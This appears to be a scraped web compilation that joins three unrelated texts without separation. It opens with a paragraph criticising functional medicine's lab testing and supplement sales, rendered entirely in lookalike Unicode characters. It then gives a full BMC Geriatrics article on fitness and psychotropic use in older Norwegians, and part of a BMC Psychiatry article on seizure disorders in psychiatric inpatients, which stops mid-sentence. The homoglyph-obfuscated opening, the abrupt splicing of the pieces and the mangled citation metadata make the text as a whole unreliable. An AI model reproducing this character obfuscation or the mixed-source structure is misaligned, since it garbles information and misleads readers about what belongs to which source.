ᥙsе, аnd mɑny ⲟf ԝhich ɑге routine lab tests tһɑt regular doctors ߋrder Ьut ᧐ften ｅnd սр massively misinterpreted ɑnd abused. Ιn ⲣarticular, FM practitioners ɑppear tⲟ ⅼike tο ߋrder lab tests гelated tօ endocrinology. Οf ϲourse, “normal” lab values ɑге սsually defined tο ƅｅ а ϲertain numЬer ⲟf standard deviations from tһe population mеаn, ѡhich mеɑns tһаt Ƅʏ random chance alone а ѕmall percentage ⲟf “normal” people ᴡill һave аn abnormal ѵalue ⲟf а ցiven laboratory test. Ԝhen а clinician ߋrders а bunch оf laboratory tests օn а patient, tһе likelihood tһаt օne ᧐f tһose tests ѡill Ье “abnormal” ᴡill approach 100% tһｅ m᧐ге tests агe оrdered. Ⲛо wondеr FM practitioners ｃɑn ɑlways fіnd lab abnormalities tо chase. Ⲟf ⅽourse, tο correct tһose lab abnormalities, tһere аrｅ аlways mɑny, mɑny supplements tо Ƅе sold. Іndeed, arguably tһｅ IFM wɑs founded ɑѕ a meɑns ⲟf marketing thｅ supplements Jeffrey Bland sold. Mark Hyman, tһrough һіs “Ultrawellness” brand, ɑlso sells ɑ ⅼot օf supplements.

- Research - Open Access - Published: The association of change in peak oxygen uptake with use of psychotropics in community-dwelling older adults - The Generation 100 study BMC Geriatrics volume 22, Article number: 575 (2022) 366 Accesses 3 Altmetric - Abstract Background The use of psychotropics is high among the older population and may have detrimental effects on their physical and mental health. Cardiorespiratory fitness (CRF) is a strong and modifiable measure of health and declines with age. We aimed to study the association of change in CRF with use of psychotropics in community-dwelling older adults. Methods We analyzed longitudinal data from 1531 older adults from the Generation 100 study, aged 70–77 years at inclusion, and with a permanent address in Trondheim, Norway. Data on objectively measured peak oxygen uptake (VO2peak) were linked with register data from the Norwegian Prescription Database on prescribed psychotropics. The included psychotropics were antidepressants (N06A), antipsychotics (N05A), anxiolytics (N05B), hypnotics and sedatives (N05C), and N03AE (benzodiazepine derivatives). Analyses were done on any psychotropics as one group, and on the following separate groups: antidepressants (N06A), benzodiazepines (N05BA, N05CD, and N03AE), and z-hypnotics (N05CF). Peak oxygen uptake was measured four times over a five-year period and corresponding medication use was measured as defined daily doses (DDD). A random effects estimator was applied to investigate the association of change in VO2peak with the use of psychotropics. Results We found a statistically significant curvilinear association of change in VO2peak with use of any psychotropics and antidepressants. For VO2peak up to ~ 40 ml/kg/min, each 1 ml/kg/min increase was associated by a 3.3 DDD and 2.5 DDD decrease in use of any psychotropics and antidepressants, respectively. A bottoming-out effect was found and increases in VO2peak above ~ 40 ml/kg/min showed increased use of any psychotropics and antidepressants. However, the association of change in VO2peak with use was stronger for changes in the lower continuum of VO2peak levels and decreased with increasing VO2peak. No statistically significant association of change in VO2peak with use of benzodiazepines and z-hypnotics were found. However, because of a non-randomized design, we cannot rule out the possibility of confounding by indication. Conclusions The results of this study show a curvilinear association of change in VO2peak with use of any psychotropics and antidepressants in older adults. This relationship adds a new viewpoint on the adverse effects of psychotropic use and should be considered in interventions and policies aimed at reducing psychotropic medication use among the older population. Introduction The use of prescription medication and polypharmacy for mental health disorders is increasing among the older population. Data from the United States showed an increase in use of psychotropic medication (hereby called psychotropics) from 8.5 to 12.5% over a five-year period [1]. In Australia, a 58.2% increase in dispensing of psychotropics was seen from 2000 to 2011, with antidepressants largely responsible for the increase [2]. An increase in prescription trends and costs are also seen in Europe [3,4,5]. The high use of psychotropics may have detrimental effects on older adults and it is reported that only about half of the older population who take psychotropics respond to these medications [6]. Psychotropics are associated with increased risk for fractures [7, 8], falls [9], cardiometabolic effects [10] and premature mortality [11, 12]. In addition, with increasing age comes a concomitant increase in older adults having physical and psychological conditions reducing quality of life and the ability to manage daily life activities. Ageing is characterized by reduced muscle mass and muscle strength [13], and kidney function [14]. Consequently, older adults may be more vulnerable to the side-effects of psychotropics due to changes in their pharmacokinetics and pharmacodynamics related to ageing [15, 16], and the harm may outweigh the benefit of taking them. Given the evidence of increased use of psychotropics with age, and older adults vulnerability to adverse side-effects it is important to consider actions which can reduce the use of psychotropics. Cardiorespiratory fitness (CRF) is shown to be a strong predictor of overall health and reduces the risk of premature mortality [17]. Further, low levels of CRF are associated with increased risk of symptoms of mental disorders [18,19,20,21], indicating a connection between psychological and physical health. A meta-analysis found an increased risk of common mental health disorders in those with low and medium CRF compared to those with a high CRF, indicating a dose-response relationship between CRF and mental health disorders [22]. Previous research have shown that leisure-time physical activity is associated with decreased risk of use of any psychotropics [23, 24]. However, the relationship between CRF and use of psychotropic medication is not studied in the older population. In the present study, we aimed to study the association of change in CRF with the use of any psychotropics in community-dwelling older adults. In addition, we studied the association of change in CRF with use of the individual psychotropics (1) antidepressants, (2) benzodiazepines, and (3) benzodiazepine-related medication (hereby called z-hypnotics), in the same population. Methods All methods were performed in accordance with the relevant guidelines and regulations. Study population and data sources The present study use data from the ongoing Generation 100 study; a large exercise intervention study conducted in Trondheim, Norway, with primary aim to determine the effects of long-term exercise with different intensities on mortality and morbidity in older adults [25, 26]. All women and men born between January 1, 1936, and December 31, 1942, with a permanent address in the municipality of Trondheim (n = 6966), received an invitation letter. A total of 1567 participants completed baseline testing and was included in the Generation 100 study, of whom 1531 participants provided data on the measures used in the present study. Participants were tested at four timepoints; baseline, one -, three -, and five years after inclusion (Fig. 1). A detailed description of the Generation 100 study protocol has previously been published [25]. We collected information about the use of prescribed psychotropics from the Norwegian Prescription Database (NorPD). The NorPD has since January 1, 2004, received monthly information from all pharmacies in Norway on all prescriptions dispensed to individuals outside institutions [27]. Cardiopulmonary exercise testing Cardiorespiratory fitness was measured as peak oxygen uptake (VO2peak) using Cortex MetaMax II (Cortex Biophysik Gmbh, Leipzig, Germany) or the Oxycon Pro (Erich Jaeger, Hoechberg, Germany, 3.8% of tests). The cardiopulmonary exercise testing (CPET) was based on an individualized protocol and performed walking or running to voluntary exhaustion on a treadmill (PPS55 Med, Woodway GmbH, Germany). Participants not able to perform the test on the treadmill due to physical constraints performed the test on a cycle ergometer (Monark cycle ergometer; 3.4% of tests). A description of the CPET protocol and equipment is previously described in detail [28]. Briefly, after a period of warm-up and submaximal workload, load was increased gradually by 2% inclination or 1 km/h (or 10 watts every 30 sec if cycling) each time oxygen uptake stabilized and until exhaustion or maximal oxygen uptake (VO2max) was reached. Criteria for achieving VO2max was respiratory exchange ratio of 1.05 or higher, participant continued until exhaustion, and oxygen uptake did not increase more than 2 ml/kg/min between the last two workloads (levelling off VO2 despite increase in workload). Not all participants met the criteria for VO2max (65% of men and 56% of women at baseline) and VO2peak is therefore used throughout this paper. Psychotropic medication The Anatomical Therapeutic Chemical (ATC) classification system and defined daily doses (DDD) are used as measuring unit as recommended by the World Health Organization [29]. The data extracted for this study include all dispensed prescriptions of psychotropics in the period between January 2012 through June 2018 for ATC codes N06A (antidepressants), N05A (antipsychotics), N05B (anxiolytics), N05C (hypnotics and sedatives), and N03AE (benzodiazepine derivatives), dispensing month and year, and number of DDD per dispensed prescription. The amount of dispensed psychotropics was calculated as DDDs, representing the average daily maintenance dose for a medication used for its main indication in adults [30]. The amount of psychotropics was defined at each follow-up as the aggregated number of DDDs over a year (eight months prior to and four months after each examination). Other variables Body mass index (kg/m2) was calculated as body mass (kg) divided by height (m) squared and presented as a continuous value. Statistics The data consists of repeated measurements of the same individuals over time. To account for serial correlation, we analyzed the association of VO2peak with psychotropics using a panel data estimator. We applied the random effects estimator to take advantage of both cross-sectional variation (between individuals) and serial variation (within the same individual over time) in the estimation. This makes it potentially a more efficient estimator than other estimators that don’t make use of both dimensions of variation [31]. The random effects estimator does not require a balanced panel. Missing observations or unequal number of testing points are accepted. The dependent variables in our models are the aggregated number of DDDs over a year for different groups of psychotropics and all psychotropics as one group. A list of all included psychotropics is listed in Additional file (Additional table 1). The explanatory variables of our models consist of sex, age, BMI and the measure of VO2peak and a squared expression of the same measure to allow for non-linear relationships between VO2peak and psychotropics. A prediction model was fitted from each estimation model. Twenty participants (1.3%) were prescribed antipsychotics at baseline. No individual analyses were done on this medication group due to few users of antipsychotics. We also tested if there were differences in the association of change in VO2peak with psychotropics in women and men. No statistically significant difference was found between women and men (additional tables 2, 4, 6 and 8), and the main analyses were therefore done for the total sample. Also, because women use more psychotropics and have lower VO2peak than men, we did sex specific analyses which are presented in additional Tables 3, 5, 7 and 9. All statistical analyses were performed using Stata 16 and 17 (StataCorp LLC, College Station, Texas, USA) and p-values lower than 0.05 were considered statistically significant. Values presented are mean (standard deviation) or number (N, (%)). Results Baseline characteristics are shown in Table 1. Age was 72.4 (2.0) years, and the population was balanced across sexes (50% men). Use of any psychotropics From first to fourth follow-up the number of participants using any psychotropics increased from 366 (23.4%) to 426 (27.2%). Across the four follow-ups the DDD (mean (SD)) was 41.6 (149.1), 42.7 (147.6), 53.4 (171.9) and 53.6 (160.5) at first, second, third and fourth follow-up, respectively, for the total sample. The association between VO2peak and the use of psychotropics are shown in Table 2. Each 1 ml/kg/min increase in VO2peak shows a statistically significant association with reduction in use of psychotropics (p = 0.03). With increasing VO2peak the association of change in VO2peak with the use of any psychotropics is reduced (p = 0.04). The prediction model (Fig. 2) shows a curvilinear relationship between use of psychotropics and VO2peak. The highest psychotropics use is shown among the least fit with a VO2peak of ~ 15 ml/kg/min using ~ 61 DDD of psychotropics. Psychotropics use decreases to ~ 37 DDD as VO2peak increases to ~ 40 ml/kg/min. Increases in VO2peak above ~ 40 ml/kg/min shows an increased use as a VO2peak of ~ 58 ml/kg/min corresponds to a use of ~ 52 DDD. Antidepressants (ATC-CODE N06A) From first to fourth follow-up the number of participants using antidepressants increased from 102 (6.5%) to 113 (7.2%). Across the four follow-ups the DDD (mean (SD)) was 14.1 (77.9), 13.5 (78), 19.6 (103.9) and 19.5 (104.5) at first, second, third and fourth follow-up, respectively, for the total sample. The association of 1 ml/kg/min change in VO2peak with use of antidepressants are shown in Table 3. Each 1 ml/kg/min increase in VO2peak is associated with a statistically significant reduction in use of antidepressants (p = 0.04). The prediction model (Fig. 3) shows a curvilinear relationship between use of antidepressants and VO2peak with decreasing use as VO2peak increases to ~ 40 ml/kg/min. A VO2peak of ~ 15 ml/kg/min corresponds to a use of ~ 28 DDD and decreases to ~ 8.4 DDD with a VO2peak of ~ 40 ml/kg/min. Antidepressant use increases to ~ 17 DDD at VO2peak ~ 58 ml/kg/min. Benzodiazepines (ATC-CODES N05BA, N05CD AND N03AE) From first to fourth follow-up the number of participants using benzodiazepines decreased from 126 (8%) to 120 (7.7%). Across the four follow-ups the DDD (mean (SD)) was 5.8 (36.3), 5.7 (34.9), 5.8 (34.7) and 5.2 (32.1) at first, second, third and fourth follow-up, respectively, for the total sample. The main results of the association of 1 ml/kg/min increase in VO2peak with use of benzodiazepines are shown in Table 4. No statistically significant relationship was found between change in VO2peak and use of benzodiazepines (p = 0.2, Fig. 4). Z-hypnotics (N05CF) From first to fourth follow-up the number of participants using z-hypnotics increased from 227 (14.5%) to 289 (18.4%). Across the four follow-ups the DDD (mean (SD)) was 16.2 (67.8), 19.2 (74.5), 23.6 (87) and 25.2 (85.2) at first, second, third and fourth follow-up, respectively, for the total sample. The main results of the association of 1 ml/kg/min increase in VO2peak with use of Z-hypnotics are shown in Table 5. No statistically significant relationship was found between change in VO2peak and use of z-hypnotics (p = 0.25, Fig. 5). Sex specific analyses Our analyses show no statistically significant difference in the association of change in VO2peak with psychotropics (any psychotropics and separate psychotropic groups) between women and men. Additional file shows this in further detail. However, the bottoming-out effect of the association of change in VO2peak with psychotropics appeared at lower VO2peak levels in women than men, ~ 30–35 ml/kg/min and ~ 40 ml/kg/min for women and men, respectively. Discussion Our data indicate a curvilinear association of change in VO2peak with use of any psychotropics in older adults. The same pattern was seen when studying antidepressants and z-hypnotics as separate medication groups. However, this pattern was only significant for antidepressants. Furthermore, we found a sex difference in use of all psychotropic medication groups with women using more psychotropics compared to men. We also tested the association of change in VO2peak with use of psychotropics between sexes, but no statistically significant sex differences were found for any of the medication groups. No studies have investigated the association of change in VO2peak and prescribed psychotropics in older adults which make comparison with other studies challenging. Given the evidence of increasing use of psychotropics among the older population it is important to consider actions to reduce this trend. The present study adds to the literature on the relationship between physical and mental health in older adults, and how changes in physical health (VO2peak) is associated with use of psychotropics. Previous studies have found an inverse relationship between CRF and risk of common mental health disorders, with greater risk among those with low and medium CRF compared to those with high CRF [22, 32, 33]. Our study shows that increasing VO2peak is associated with a decrease in psychotropics use. Any decrease in use could have a significant impact, as harmful side-effects have been reported from the use of these medications. However, the curvilinear relationship we found might indicate a bottoming-out effect on a possible treatment effect of psychotropics by changing VO2peak. Our results suggest that the treatment potential is larger in less fit older adults than for fit older adults. In addition to maintain VO2peak for general health benefits, other treatment options should be considered to reduce psychotropics use for older adults with high fitness levels. Studies investigating the relationship between PA and psychotropics use have showed a reduced risk of purchasing psychotropics by increasing physical activity levels with the lowest risk among those showing PA pattern of moderate to vigorous intensity of high volume [23]. The latter finding indicate that intensity could be an important PA dimension for psychotropics reduction and is also shown to be a key factor to increase VO2peak [34, 35]. Stubbs et al. [24] found that only those being persistently inactive remained at increased risk for psychotropics use after adjusting for potential confounders, indicating that change in physical activity levels could play an important role in psychotropics prescribing. Even if CRF is largely influenced by physical activity levels none of the studies looking at physical activity and psychotropics use included CRF as a measure. Measure of CRF is shown to have an independent predictive value for physical health [17] but the impact on psychotropics is less studied. Given the vulnerability for side-effects and increased comorbidities in older adults, our results indicate that those on the lower end of the CRF continuum will have a lot to gain by increasing CRF as psychotropics use decreases with small increases in CRF. Furthermore, our u-shaped relationship between VO2peak and any psychotropics in older adults might indicate that individuals on the higher end of the CRF continuum might benefit more from actions other than increasing CRF for the purpose of reducing use of psychotropics. However, it should be noted that few older adults in our study had a VO2peak above 40 ml/kg/min which might influence the pattern of association in the higher continuum of VO2peak levels. The latter is also reflected by wide confidence intervals. In addition to any psychotropics we studied the separate groups of psychotropics: antidepressants, benzodiazepines and z-hypnotics. We found the same curvilinear association of change in VO2peak and use of antidepressants as we did for psychotropics considered as one medication group. Previous studies report an inverse relationship between CRF and depression disorders, including depressive symptoms both in healthy [32, 33, 36, 37] and those diagnosed with depression [36]. Our study found no statistically significant association of change in VO2peak with use of either benzodiazepines or z-hypnotics. Higher risk of anxiety is found among those with low and medium CRF compared with high CRF [22]. Two studies have previously investigated the association between insomnia symptoms and CRF, and both reported a modest inverse relationship [20, 21]. Our study contributes with new insights on the topic of psychotropic use among older adults. Strategies to increase older adults’ VO2peak to optimal levels for reduced psychotropics use does not seem to follow “the more the better” principle. Also, in addition to promote mental health, improving VO2peak can improve cardiovascular health and reduce all-cause mortality [38, 39]. A recent Lancet Commission paper highlights that focus should be on strategies which target both physical and mental health [40]. However, given the curvilinear relationship between change in VO2peak and psychotropics use, VO2peak should be measured and monitored to tailor interventions to the individual VO2peak level. Study strengths and limitations A strength in our study is complete national register data on psychotropic medication dispensing linked with direct and objectively measured VO2peak data from a large sample of older adults. We have four measurement points of VO2peak over five years. In addition, direct and objectively measured VO2peak is considered the gold standard for measuring CRF. A limitation of the study is that information on dispensed psychotropics is not a direct measure of mental health issues and comparison with studies reporting other measures than medication use is difficult. Data on dispensed psychotropics were only available eight months before first follow-up which means that the aggregated one-year period for all follow-ups are eight months before and four months after the follow-ups. However, register-based data gives only information about dispensed medication and not if or when they are taken. Further, we lack information on what specific cause these medications were prescribed for. Comorbidity exists between mental health disorders and polypharmacy is common in older adults. Also, psychotropics are not only related to mental health problems as some psychotropics are also prescribed for somatic conditions. Therefore, we chose to do the main analysis on any psychotropics which we think best indicate general mental health. Concerning the separate psychotropics groups, antipsychotic medication is prescribed for severe mental disorders and the few users in the present study may indicate that this group is underrepresented in exercise interventions targeting the general older adult population. Importantly, the study population was recruited based on selected inclusion criteria to attend an exercise intervention and there are 28–63% less users of the different groups of psychotropics in the study population compared with age-matched peers in Norway [41]. The bottoming-out effect was seen when VO2peak were ~ 40 ml/min/kg which is considered a high VO2peak for this age group. The latter implies that many older adults will benefit from increasing their VO2peak. The possibility of unmeasured confounding cannot be ruled out which may have influenced both the exposure (change in VO2peak) and the outcome (psychotropics use). Lastly, given that neither change in VO2peak nor psychotropics use are randomized we cannot discount the possibility of confounding by indication. Conclusion The results of this study show a curvilinear association of change in VO2peak with use of any psychotropics and antidepressants in older adults. Increases in VO2peak is associated with decreases in use of any psychotropics and antidepressants, measured as DDD, but a bottoming-out effect is present, and the use increases as VO2peak reaches higher levels. This relationship adds new insight into psychotropics use in the older population and should be considered in the clinical strategies for reducing medication. Availability of data and materials The data analyzed in the present study was obtained from the Generation 100 Study and Norwegian Prescription Database. Contact information on access to data from the Generation 100 Study are available at. Data from the Generation 100 Study can be linked with data from the Norwegian Prescription Database. Information on how to apply can be found at. Abbreviations - CRF: Cardiorespiratory fitness - DDD: Defined daily doses - NorPD: Norwegian Prescription Database - PA: Physical activity - VO2max : Maximal oxygen uptake - VO2peak : Peak oxygen uptake References Qato DM, et al. Changes in prescription and over-the-counter medication and dietary supplement use among older adults in the United States, 2005 vs 2011. JAMA Intern Med. 2016;176(4):473–82. Stephenson CP, Karanges E, McGregor IS. Trends in the utilisation of psychotropic medications in Australia from 2000 to 2011. Aust N Z J Psychiatry. 2013;47(1):74–87. Ilyas S, Moncrieff J. Trends in prescriptions and costs of drugs for mental disorders in England, 1998-2010. Br J Psychiatry. 2012;200(5):393–8. Carrasco-Garrido P, et al. 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J Clin Psychiatry. 2017;78(1):e41–7. Gianfredi V, et al. The association between cardio-respiratory fitness and incident depression: the Maastricht study. J Affect Disord. 2021;279:484–90. Helgerud J, et al. Aerobic high-intensity intervals improve VO2max more than moderate training. Med Sci Sports Exerc. 2007;39(4):665–71. Støren Ø, et al. The effect of age on the V˙O2max response to high-intensity interval training. Med Sci Sports Exerc. 2017;49(1):78–85. Papasavvas T, et al. Depression symptom severity and cardiorespiratory fitness in healthy and depressed adults: a systematic review and Meta-analysis. Sports Med. 2016;46(2):219–30. Kandola AA, et al. Individual and combined associations between cardiorespiratory fitness and grip strength with common mental disorders: a prospective cohort study in the UK biobank. BMC Med. 2020;18(1):303. Pollock RD, et al. Cardiorespiratory fitness not sedentary time or physical activity is associated with cardiometabolic risk in active older adults. Scand J Med Sci Sports. 2018.. Sui X, et al. Cardiorespiratory fitness and all-cause mortality in men with emotional distress. Mayo Clin Proc. 2017;92(6):918–24. Firth J, et al. The lancet psychiatry commission: a blueprint for protecting physical health in people with mental illness. Lancet Psychiatry. 2019;6(8):675–712. Norwegian Institute of Public Health, Statistics from the Norwegian Prescription Database. 2021, Norwegian Institute of Public Health:. Acknowledgements The testing of VO2peak was performed at NeXT Move core facility unit at the Norwegian University of Science and Technology, Trondheim, Norway. Funding N/A. This study was supported by grants from the Faculty of Medicine and Health Sciences, Norwegian University of Science and Technology, Trondheim, Norway. Ethics declarations Ethics approval and consent to participate The study was approved by the Regional Committee for Medical Research Ethics (REK sør-øst 2015/2426) and all participants gave their written informed consent before participation in the Generation 100 Study.. An additional file (Additional file.docx) is provided with the manuscript with tables presenting a list of included medication groups and the results of the analyses including the interaction term of VO2peak and sex, and for women and men separately. These analyses where done for any psychotropics and the separate psychotropicsen, T., Stensvold, D., Wisløff, U. et al. The association of change in peak oxygen uptake with use of psychotropics in community-dwelling older adults - The Generation 100 study. BMC Geriatr 22, 575 (2022). Received: Accepted: Published: DOI: Keywords - Aged - Cardiorespiratory fitness - Exercise - Antidepressants - Benzodiazepines - Z-hypnotics - Benzodiazepine-related medication

- Research - Open Access - Published: Epilepsy and other seizure disorders in acute psychiatric inpatients BMC Psychiatry volume 21, Article number: 626 (2021) 1251 Accesses 2 Citations - Abstract Background It is well known that patients with epilepsy have a high rate of psychiatric comorbidity. However, studies exploring epilepsy in psychiatric cohorts are scarce. The aim of this study was to examine the prevalence of seizure disorders in acute psychiatric inpatients. Methods This is a cross-sectional study performed in a catchment-area based acute psychiatric department. All patients (age > 18) admitted during September 2011 - March 2012 were eligible for inclusion. Consenting patients were screened for a life-time history of epilepsy or seizures using self-reported questionnaire data and diagnostic codes for epilepsy in hospital and National registries. Patients scoring positive to one or more of these screening criteria underwent a thorough diagnostic validation (chart review), and the seizure disorders were classified as epilepsy, acute symptomatic seizures and/or psychogenic non-epileptic seizures according to current definitions. Results A total of 380 out of 591 (64.3%) consecutively admitted patients consented to participate in the study. Eighty-nine patients (23.4%) scored positive to one or more screening criteria. Fifteen (3.9%) were classified with epilepsy, 21 (5.5%) with acute symptomatic seizures and 9 (2.4%) with psychogenic non-epileptic seizures. Conclusions This is the first study to report on the prevalence of seizure disorders in acute psychiatric inpatients. The life-time prevalence of epilepsy in this cohort of patients is five – six times as high as reports in the general population. These findings underscore the need for the clinical psychiatrist to have comprehensive knowledge on the interface between epileptology and psychiatry. Trials registration ClinicalTrials.gov identifier NCT01415323. Background Should psychiatrists care about epilepsy? Epileptic disorders are usually managed by the neurological discipline. However, these disorders are characterized not only by their predisposition to seizures, but also by their neurobiological and psychosocial consequences [1]. The interface between epileptology and psychiatry contains complex and overlapping clinical manifestations [2]. Major imitators of epilepsy such as psychogenic non-epileptic seizures, hyperventilation attacks and convulsive syncope may indeed cause differential diagnostic challenges [3]. Also, the differentiation between seizures in the context of epilepsy and acute symptomatic seizures may be intricate, as seizure precipitants (epilepsy) and provoking factors (acute symptomatic seizures) often are difficult to categorize. In a recent review, the authors reported that patients with epilepsy have a high prevalence of psychiatric disorders such as current depression (23%), anxiety disorders (20%) and psychotic disorders (5-6%) [4]. These findings have informed the neurologist on the importance of assessing psychiatric comorbidity in patients with epilepsy [5, 6]. However, the opposite is also true. The clinical psychiatrist needs to recognize comorbid seizure disorders in order to inform diagnostic (e.g. organic versus non-organic etiology [7]) and treatment evaluations (e.g. use of medications altering the seizure threshold [8]). Despite its importance, the literature on epilepsy in patients with psychiatric disorders is limited. In fact, the prevalence of epilepsy in patients admitted to acute psychiatric care has never previously been assessed. The aim of this study was to assess the frequency of epilepsy and other seizure disorders (acute symptomatic seizures and psychogenic non-epileptic seizures) in patients with acute psychiatric disorders. Further, we discuss clinical dilemmas that arise in the diagnosis of seizure disorders from a neurological and psychiatric perspective. Methods Setting and patients This is a cross-sectional study performed in the acute psychiatric department at St. Olavs hospital, Trondheim University Hospital, Trondheim, Norway (ClinicalTrials.gov identifier NCT01415323). The department is publicly funded, open to everyone and represents the sole acute psychiatric institution in its catchment area (294,066 inhabitants during the study period). All patients (age > 18) admitted during September 2011 - March 2012 were eligible for inclusion. A total of 380 out of 591 (64.3%) consecutively admitted patients consented to participate in the study. Epilepsy screening All patients were screened for epilepsy or seizures using: - 1) Self-reported questionnaire data: “Are you or have you ever been treated for epilepsy?”. - 2) Self-reported questionnaire data: “Have you ever had seizures?”. - 3) Diagnostic codes for epilepsy (International Classification of Diseases (ICD)-9 (345) or ICD-10 (G40-41)) at the local hospital (available data 1987 – 2020). - 4) Diagnostic codes for epilepsy (ICD-9 (345) or ICD-10 (G40-41)) in the Norwegian Patient Registry, which records diagnoses for all patient contacts in the specialist health services in Norway (2007 – 2020). Diagnostic validation We performed a diagnostic validation in all patients scoring positive to one or more of the screening criteria. The diagnoses were classified as epilepsy, acute symptomatic seizures and/or psychogenic non-epileptic seizures by an epileptologist with extensive experience in the field (EB) in consensus with three psychiatrists (AV, OKD and SGS). The diagnostic validation was informed by a review of complete psychiatric and somatic medical records from the local hospital (available data 1987 – 2020), including admission reports, progression notes, discharge reports, electroencephalography (EEG) recordings, brain imaging, and medication history. A diagnosis of epilepsy was set according to the 2017 revised International League Against Epilepsy criteria [9]. Acute symptomatic seizures and psychogenic non-epileptic seizures were also diagnosed according to current definitions [10,11,12]. Definitions Definite epilepsy Recurrent unprovoked epileptic seizures or at least one unprovoked seizure associated with factors suggesting a high relapse risk [9]. Probable (possible) epilepsy Conditions encompassing one seizure with “risks, but not very high risks, for having another”, as well as for situations with limited information as to the cause of seizures [9]. Active epilepsy Established epilepsy with current treatment or at least one seizure within the last 5 years [13]. Epilepsy resolved Seizure freedom for > 10 years with no treatment for epilepsy > 5 years [9]. Acute symptomatic seizure Epileptic seizures provoked by a clearly identifiable proximate cause, such as evident excessive exposure to drugs and toxic substances [10]. Psychogenic non-epileptic seizure A paroxysmal alteration in motor, sensory, autonomic, or cognitive functions that are not associated with ictal epileptiform activity and occur in the context of psychosocial vulnerabilities [12, 14]. Group characteristics Covariables were defined as age, sex, educational status, main diagnosis on admission, substance use and psychotropic medications. Educational status was categorized into groups consisting of no completion of primary school (< 10 years), high school (13 years), bachelor, master, and Ph. D. degree. Main diagnosis at admission was categorized into the following ICD-10 diagnostic groups: (1) F00-09 Organic psychiatric disorders, (2) F10-19 Mental and behavioral disorders due to psychoactive substance use, (3) F20-29 Schizophrenia, schizotypal, delusional and other non-mood psychotic disorders, (4) F30-31 Bipolar mood disorders, (5) F32-39 Other mood disorders, (6) F40-99 Other psychiatric disorders, and (7) Other ICD-10 diagnosis outside F00-99. Substance use was categorized into “benzodiazepines”, “stimulants”, “cannabis”, “alcohol” and “opioids”. This categorization was based on substances consumed during the days/weeks prior to admission. This was evaluated using patient interviews, alcohol breath test and urine analyses of alcohol, benzodiazepines, Z-hypnotics, stimulants, opioids, and cannabis. Patients were categorized as having taken a particular drug prior to admission if they reported use or had a positive urine sample. Medication on admission was divided into categories of anti-seizure medications, antipsychotics, antihistamines, antidepressants, lithium, stimulants, benzodiazepines, z-hypnotics, and opioids (Additional file 1). Statistics We calculated prevalence estimates with 95% confidence intervals according to Bernoulli trials. Ethics All participating patients gave written informed consent. The study was conducted in accordance with the Helsinki Declaration and approved by The Regional Committee for Medical and Health Research Ethics of Central Norway (2011/137). Results Prevalence of epilepsy and other seizure disorders A total of 89 out of 380 (23.4%) patients scored positive to one or more screening criteria for epilepsy or other seizure disorders. Table 1 outlines the percentages of patients scoring positive to the different epilepsy screening criteria. After a thorough diagnostic validation of the 89 patients, 15 (3.9%) were diagnosed with epilepsy, 21 (5.5%) with acute symptomatic seizures and 9 (2.4%) with psychogenic non-epileptic seizures (Figs. 1 and 2.). See Table 2 for demographic data of the patients in the diagnostic groups. Three patients with combined epilepsy and acute symptomatic seizures and two patients with combined epilepsy, psychogenic non-epileptic seizures and acute symptomatic seizures in their history are included in these groups. The patients classified without epilepsy or other seizure disorders are described under “Other episodic conditions”. Flow-chart of seizure disorders in 380 patients admitted to acute psychiatric care. aThree patients had combined epilepsy + acute symptomatic seizures; 2 had epilepsy + psychogenic non-epileptic seizures + acute symptomatic seizures (Fig. 2). bFifty one patients reporting to ever having had epilepsy or seizures had no evidence of seizure disorders in their medical records Epilepsy The life-time prevalence of epilepsy in this cohort of patients was 15 out of 380 (3.9, 95% CI: [2.0-5.9%]). Out of these 15 patients, 12 were classified as definite epilepsy, whereas three were classified as probable epilepsy according to the International League Against Epilepsy criteria. In the majority, the epilepsy started prior to the inclusion period, whereas two patients got the diagnosis of epilepsy during the observation period of 9 years following index admission. In the 12 patients with definite epilepsy, six had active epilepsy (four focal, one generalized, one unknown type), and six had epilepsy resolved, the latter of whom five had had self-limited epilepsy of childhood (two absence epilepsy, one epilepsy with centrotemporal spikes, and two undetermined). The three patients with probable epilepsy were classified as such based on 1) limited clinical information, 2) a seemingly spontaneous seizure with suspected focal epileptiform potentials in the first EEG and 3) a single seizure with recurrent left temporal epileptiform activity persisting during follow-up for 9 years, respectively. Acute symptomatic seizures A history of provoked seizures due to use of substances or medication were reported in the medical records of 21 patients (5.5, 95% CI: [3.2-7.8]), in the majority limited to alcohol or benzodiazepine withdrawal, and in four clearly related to excessive intake of neurotoxic substances. Five out of these patients also had a diagnosis of epilepsy; two had a history of self-limited epilepsy of childhood, two had active focal epilepsy, and one was classified with probable epilepsy. EEG was recorded in all 16 patients with acute symptomatic seizures alone. All were normal or with mild diffuse unspecific abnormalities, but no epileptiform activity. Brain imaging did not reveal distinct focal changes. Psychogenic non-epileptic seizures A history of events consistent with psychogenic non-epileptic seizures was identified in nine patients (2.4, 95% CI: [0.9-3.9]). Four patients were classified with documented psychogenic non-epileptic seizures (ictal video EEG) according to International League Against Epilepsy-recommended levels of diagnostic certainty [14]. In two patients the diagnoses were clinically established by observation and absence of immediate postictal changes, and in three patients the diagnoses were considered possible/probable by clinical context and characteristic witnessed awake bilateral convulsive movements and no epileptiform interictal EEG findings (hypermotor seizure semiology excluded). Two patients with a history of psychogenic non-epileptic seizures also had acute symptomatic seizures and epilepsy. Other episodic conditions In 16 patients with positive screening for epilepsy, no seizure disorders were identified. Six of these patients were treated with antiseizure medications including clonazepam for psychiatric disorders on admission, and in several a diagnosis of epilepsy had been discussed. Atypical or rapid cycling behavior was identified in eight, syncope in four, panic attacks with hyperventilation in two, and migraine aura in one. EEG findings were unremarkable. A total of 35 patients reporting a history of seizures in the absence of epilepsy had no evidence of any seizure disorder in their medical records. Several of these patients had clinical notes describing events that could have been misinterpreted (eight had panic attacks with hyperventilation, two had been treated with electroconvulsive therapy, two had syncope, two had Tourette syndrome, one had acute dystonia, and one had withdrawal symptoms with coarse tremor). Nineteen patients had none such alternative causes described in their records. Discussion Main findings To the best of our knowledge, this is the first study examining the prevalence of well-validated diagnoses of epilepsy and other seizures disorders in patients admitted to acute psychiatric care. Noteworthy, we found a prevalence five to six times as high (3.9%) as reports from the general population (0.6-0.9% [15, 16]). In addition, we found a history of acute symptomatic seizures and psychogenic non-epileptic seizures in 5.5 and 2.4% of the patients, respectively. The total prevalence of seizure disorders in our cohort (10%) is comparable to a previous prevalence estimate of seizure disorders in acute psychiatric inpatients [17]. Based on a retrospective chart review Boutros et al. reported that 9.5% of patients admitted to their acute psychiatric center had a diagnosis of epilepsy or “seizure”. However, the authors reported that the charts did not include information that allowed for an accurate diagnosis of epilepsy and noted that the tertiary nature of their facility probably gave inflated estimates. We screened for epilepsy and seizures using two self-report questions and 